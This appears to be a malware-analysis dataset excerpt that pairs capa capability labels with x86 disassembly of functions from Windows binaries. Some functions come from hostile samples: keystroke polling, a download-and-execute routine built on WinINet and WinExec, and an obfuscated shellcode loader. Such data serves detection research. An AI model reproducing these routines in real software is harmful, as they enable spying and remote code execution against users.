joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44150c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x45dc68], 0
je 0x441655
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x4589ac]
mov edx, dword [edx]
xor al, byte [edx + 0xbc]
je 0x441655
mov eax, dword [0x45dc6c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x45dc68]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x441624
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x45dc68]
call fcn.004146ac
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x44161c
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1da], 0
je 0x44161c
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x44161c
mov eax, dword [ebp - 0x14]
call fcn.0044bbc4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44161c
push ebp
call fcn.004414c8
pop ecx
test al, al
jne 0x44161c
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbb
call fcn.004040d4
test al, al
je 0x44161c
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbc
call fcn.004040d4
cmp byte [ebp - 1], 0
je 0x44161c
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x44161c
mov edx, dword [ebp - 0x14]
mov eax, dword [0x45dc6c]
call fcn.00440c38
inc edi
dec ebx
jne 0x441571
mov eax, dword [0x45dc6c]
cmp dword [eax + 8], 0
jle 0x44163c
mov eax, dword [0x45dc6c]
call fcn.00440cf0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x441655
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0044132c
pop ecx
test al, al
jne 0x441655
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x448a9c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffed8
mov ebx, ecx
mov edi, edx
mov esi, eax
call sub.user32.dll_GetMessagePos
call fcn.00406c30
mov dword [esp + 8], eax
movsx eax, word [esp + 8]
mov dword [esp + 0xc], eax
movsx eax, word [esp + 0xa]
mov dword [esp + 0x10], eax
mov ecx, esp
lea edx, [esp + 0xc]
mov eax, esi
call fcn.00443894
test ebx, ebx
jne 0x448aef
push 0
push 0
lea edx, [esp + 8]
xor ecx, ecx
mov eax, esi
call fcn.004489d8
mov ebx, eax
test ebx, ebx
je 0x448bda
cmp esi, ebx
je 0x448b18
mov eax, dword [esp]
sub eax, dword [ebx + 0x40]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
sub eax, dword [ebx + 0x44]
mov dword [esp + 0x118], eax
jmp 0x448b2d
mov eax, dword [esp]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x118], eax
movzx eax, word [edi + 8]
mov dword [esp + 0x11c], eax
mov eax, dword [edi + 4]
mov dword [esp + 0x124], eax
movzx eax, word [edi + 0xa]
cmp eax, 0x201
jge 0x448b65
add eax, 0xffffff5f
sub eax, 2
jb 0x448b7d
dec eax
sub eax, 2
jb 0x448b91
dec eax
sub eax, 2
jb 0x448b87
jmp 0x448b9b
add eax, 0xfffffdff
sub eax, 2
jb 0x448b7d
dec eax
sub eax, 2
jb 0x448b91
dec eax
sub eax, 2
jb 0x448b87
jmp 0x448b9b
mov byte [esp + 0x120], 0
jmp 0x448ba3
mov byte [esp + 0x120], 2
jmp 0x448ba3
mov byte [esp + 0x120], 1
jmp 0x448ba3
mov byte [esp + 0x120], 0
lea eax, [esp + 0x14]
push eax
call sub.user32.dll_GetKeyboardState
lea eax, [esp + 0x14]
call fcn.00429e0c
mov byte [esp + 0x121], al
lea eax, [esp + 0x114]
push eax
xor ecx, ecx
mov edx, 0xb04b
mov eax, ebx
call fcn.00445004
mov dword [edi + 0xc], eax
mov al, 1
jmp 0x448bdc
xor eax, eax
add esp, 0x128
pop edi
pop esi
pop ebx
ret
Function at 0x450d2c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x458b14]
cmp byte [eax + 0xc], 0
je 0x450e99
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x450e92
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45dc78], 0
jne 0x450d80
push 0x450ea0
call sub.kernel32.dll_GetModuleHandleA_1
mov ebx, eax
push 0x450ea8
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc78], eax
cmp dword [0x45863c], 0
jne 0x450e7b
push 0x450eb8
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45863c], eax
cmp dword [0x45863c], 0
je 0x450e7b
push 0x450ec4
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc7c], eax
push 0x450ed4
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc80], eax
push 0x450ee8
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc84], eax
push 0x450f00
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc88], eax
push 0x450f18
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc8c], eax
push 0x450f2c
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc90], eax
push 0x450f44
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc94], eax
push 0x450f5c
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc98], eax
push 0x450f78
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dc9c], eax
push 0x450f84
mov eax, dword [0x45863c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45dca0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450e99
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret
Function at 0x455324
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaa0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0x14]
xor eax, eax
push ebp
push 0x455462
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
xor eax, eax
call fcn.00409078
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405204
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x455445
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, esi
call fcn.00405204
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x455427
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, edi
lea eax, [ebp - 0x560]
call fcn.00403424
mov edx, 1
lea eax, [ebp - 0x560]
call fcn.004038a4
call fcn.00402fec
push ebx
push 0x400
lea eax, [ebp - 0x414]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x414]
mov ecx, dword [ebx]
lea eax, [ebp - 0x560]
call fcn.00403578
call fcn.00402fec
cmp dword [ebx], 0
jne 0x4553c7
lea eax, [ebp - 0x560]
call fcn.00403598
call fcn.00402fec
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45542e
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret

Function at 0x455474
Capabilities:
Create process on windows
Move file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x45559f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x455512
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4555b0
call fcn.00404f6c
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 8]
mov edx, 0x4555cc
call fcn.00404f6c
mov eax, dword [ebp - 8]
pop edx
call fcn.00455324
test al, al
je 0x455508
lea eax, [ebp - 0xc]
mov edx, 0x45560c
call fcn.00404f6c
mov eax, dword [ebp - 0xc]
call fcn.00405204
push eax
lea eax, [ebp - 0x10]
mov edx, 0x4555b0
call fcn.00404f6c
mov eax, dword [ebp - 0x10]
call fcn.00405204
push eax
call sub.kernel32.dll_MoveFileA
push 0
push 0x455628
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x455584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4555a6
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00404d98
ret
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x450008]
jne 0x401010
repz ret
jmp fcn.004017f7

Function at 0x4079d3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004040ce
and dword [ebp - 4], 0
cmp dword [0x452990], 0
mov ebx, eax
jne 0x407a84
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407b35
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407b35
push eax
call fcn.0040405c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x452990], eax
call esi
push eax
call fcn.0040405c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x452994], eax
call esi
push eax
call fcn.0040405c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x452998], eax
call esi
push eax
call fcn.0040405c
pop ecx
mov dword [0x4529a0], eax
test eax, eax
je 0x407a84
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040405c
pop ecx
mov dword [0x45299c], eax
mov eax, dword [0x45299c]
cmp eax, ebx
je 0x407adc
cmp dword [0x4529a0], ebx
je 0x407adc
push eax
call fcn.004040d7
push dword [0x4529a0]
mov esi, eax
call fcn.004040d7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407adc
test edi, edi
je 0x407adc
call esi
test eax, eax
je 0x407ad3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407ad3
test byte [ebp - 0xc], 1
jne 0x407adc
or dword [ebp + 0x10], 0x200000
jmp 0x407b15
mov eax, dword [0x452994]
cmp eax, ebx
je 0x407b15
push eax
call fcn.004040d7
pop ecx
test eax, eax
je 0x407b15
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407b15
mov eax, dword [0x452998]
cmp eax, ebx
je 0x407b15
push eax
call fcn.004040d7
pop ecx
test eax, eax
je 0x407b15
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x452990]
call fcn.004040d7
pop ecx
test eax, eax
je 0x407b35
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407b37
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409cd0
Capabilities:
Set console window title

Disassembly:
sub esp, 0x1c
cmp dword [0x2b0b3cc], 0x930
jne 0x409cea
push str.tiyayejetupoxasowujozizoc
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp dword [0x2b0b3cc], 0x114e
mov eax, dword [esp + 0x20]
mov dword [0x2b0b0e8], eax
jne 0x409d11
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
lea ecx, [esp]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
add esp, 0x1c
ret
Function at 0x409d30
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
push ebp
xor ebp, ebp
push esi
cmp ebx, 0x19f
jne 0x409d46
push ebp
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor esi, esi
cmp ebx, ebp
jle 0x409d81
lea esp, [esp]
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], ebp
call fcn.00409d20
add esp, 4
mov eax, dword [esp + 0xc]
add eax, 0x64
mov dword [esp + 8], eax
sub dword [esp + 8], 0x64
mov cl, byte [esp + 8]
xor byte [esi + edi], cl
inc esi
cmp esi, ebx
jl 0x409d50
pop esi
pop ebp
cmp ebx, 0x2d
jne 0x409d9c
mov dword [0x2b0b3d8], 0xa62e7790
mov dword [0x2b0b3dc], 0xffffffff
add esp, 8
ret
Function at 0x10002eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10002ebf
pop dword [ebp - 0x50]
mov eax, 0x86fe779d
sub eax, 0x76fe48de
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xcdbf78c
sub dword [ebp - 0x60], 0xbe89b241
mov dword [ebp - 0x5c], 0x8133abc1
add dword [ebp - 0x5c], 0xb0ffa084
mov dword [ebp - 0x58], 0x26ec8e89
sub dword [ebp - 0x58], 0xdaa04a5b
mov dword [ebp - 0x54], 0xa3e0373d
sub dword [ebp - 0x54], 0xa3e0373d
lea eax, [ebp - 0x60]
push eax
mov eax, 0x876bb392
add eax, 0x8895dcaa
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x54fa888f
sub dword [ebp - 0x60], 0xe0881f39
mov dword [ebp - 0x5c], 0x30938504
add dword [ebp - 0x5c], 0x10d8dc71
mov dword [ebp - 0x58], 0x3c32590
sub dword [ebp - 0x58], 0xa053b924
mov dword [ebp - 0x54], 0x82a02c92
add dword [ebp - 0x54], 0x7d5fd36e
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x301029e5
sub eax, 0x200e99ad
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x36e6a
push 0
call eax
mov ecx, 0x4db853e1
add ecx, 0xb247f235
xor ebx, ebx
add ebx, eax
mov edx, 0xa332644d
sub edx, 0x93303c4d
add edx, dword [ebp - 0x50]
mov edi, 0x4f110fbb
mov dword [ebp - 0x18], 0xb8099822
mov esi, dword [edx]
sub dword [ebp - 0x10], edi
sub esi, edi
xor dword [ebp - 0x30], 0xa1a3278
mov dword [ebx], esi
add dword [ebp - 0x38], edi
add ebx, 0x8a0e0daa
sub ebx, 0x8a0e0da6
add edx, 0x5d8ce7e8
sub edx, 0x5d8ce7e4
loop 0x10002fdd
add eax, 0xea51fe1e
sub eax, 0xea50f2f3
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x4010f0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x40332c], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov eax, dword [ebp + 4]
mov dword [0x40319b], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401121
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40319b]
mov dword [ebp - 0x48], eax
mov eax, 0x401bbc
mov dword [ebp - 0x54], eax
mov ecx, 0x4030bd
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x40319b]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x403378], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403378]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4011d9
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4011cb
mov esp, ebp
ret
Function at 0x44ac90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x45000]
push edi
jmp 0x44acaa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x44acb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44aca0
mov eax, 1
add ebx, ebx
jne 0x44acc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x44acb8
jne 0x44acd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44acb8
xor ecx, ecx
sub eax, 3
jb 0x44ace8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44ad5a
mov ebp, eax
add ebx, ebx
jne 0x44acf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x44ad00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x44ad24
inc ecx
add ebx, ebx
jne 0x44ad10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x44ad05
jne 0x44ad21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44ad05
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x44ad44
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x44ad35
jmp 0x44aca6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x44ad44
add edi, ecx
jmp 0x44aca6
pop esi
mov edi, esi
mov ecx, 0x290
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x44ad62
cmp byte [edi], 6
jne 0x44ad62
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x44ad67
lea edi, [esi + 0x48000]
mov eax, dword [edi]
or eax, eax
je 0x44addf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x50d84]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x50e24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x44ad94
mov ecx, edi
jns 0x44adc3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x50e28]
or eax, eax
je 0x44add9
mov dword [ebx], eax
add ebx, 4
jmp 0x44adb1
call dword [esi + 0x50e38]
mov ebp, dword [esi + 0x50e2c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x44ae13
sub esp, 0xffffff80
jmp 0x4034f1
Function at 0x404578
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00406ebc
test esi, esi
jne 0x4045b0
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00406ff8
jmp 0x4045ce
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004044bc
mov edi, eax
test esi, esi
je 0x4045ce
cmp dword [ebx], 0
je 0x4045ce
dec esi
jmp 0x4045b7
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x406374
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4b8050], 0
je 0x4063d5
cmp word [0x4b832c], 0xd7b2
jne 0x40639d
cmp dword [0x4b8334], 0
jbe 0x40639d
mov eax, 0x4b8328
call dword [0x4b8344]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x406400
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4b5030], 0
jne 0x4063f1
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x406560
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x4b5038], 0
je 0x406586
mov edx, esi
mov eax, ebx
call dword [0x4b5038]
jmp 0x406595
mov eax, 8
call fcn.00404204
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x4b8051], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x406528
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x408cdc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x408e43
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00406ebc
cmp si, word [0x4b57e0]
jb 0x408d76
cmp si, word [0x4b59e0]
ja 0x408d76
mov edi, 0x40
xor eax, eax
mov dword [ebp - 0xc], eax
cmp edi, dword [ebp - 0xc]
jb 0x408d76
mov ebx, dword [ebp - 0xc]
add ebx, edi
shr ebx, 1
cmp si, word [ebx*8 + 0x4b57e0]
jae 0x408d50
mov edi, ebx
dec edi
jmp 0x408d71
cmp si, word [ebx*8 + 0x4b57e0]
jbe 0x408d60
inc ebx
mov dword [ebp - 0xc], ebx
jmp 0x408d71
mov edx, dword [ebp - 8]
mov eax, dword [ebx*8 + 0x4b57e4]
call fcn.00408bec
jmp 0x408d76
cmp edi, dword [ebp - 0xc]
jae 0x408d3a
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x408e25
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x408e25
push 0x55
lea eax, [ebp - 0xb6]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x160]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x164]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.004070a4
push dword [ebp - 0x164]
push 0x408e60
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x160]
mov ecx, 0x55
call fcn.004070a4
push dword [ebp - 0x168]
push 0x408e70
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.004070a4
push dword [ebp - 0x16c]
mov eax, dword [ebp - 8]
mov edx, 5
call fcn.0040745c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408e4a
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.00406eb4
ret
Function at 0x408ffc
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409101
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4bab58
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x4bab70]
jne 0x409048
mov eax, esi
mov edx, 0x4bab74
mov ecx, 0x55
call fcn.004070a4
push 0x4bab58
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x4090eb
push 0x4bab58
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
xor edx, edx
call fcn.00406ebc
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x4090b9
cmp byte [0x4bab54], 0
je 0x40907e
mov edx, esi
mov eax, ebx
call fcn.00408edc
jmp 0x4090b9
mov edx, esi
mov eax, ebx
call fcn.00408cdc
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x4090b9
cmp dword [esi], 0
je 0x4090a2
mov eax, esi
mov edx, 0x40911c
call fcn.004072b8
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.00408cdc
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.004072b8
push 0x4bab58
call sub.kernel32.dll_EnterCriticalSection
mov word [0x4bab70], bx
push 0xaa
mov eax, dword [esi]
call fcn.00406f48
push eax
push 0x4bab74
call sub.kernel32.dll_lstrcpynW
push 0x4bab58
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409108
lea eax, [ebp - 4]
call fcn.00406eac
ret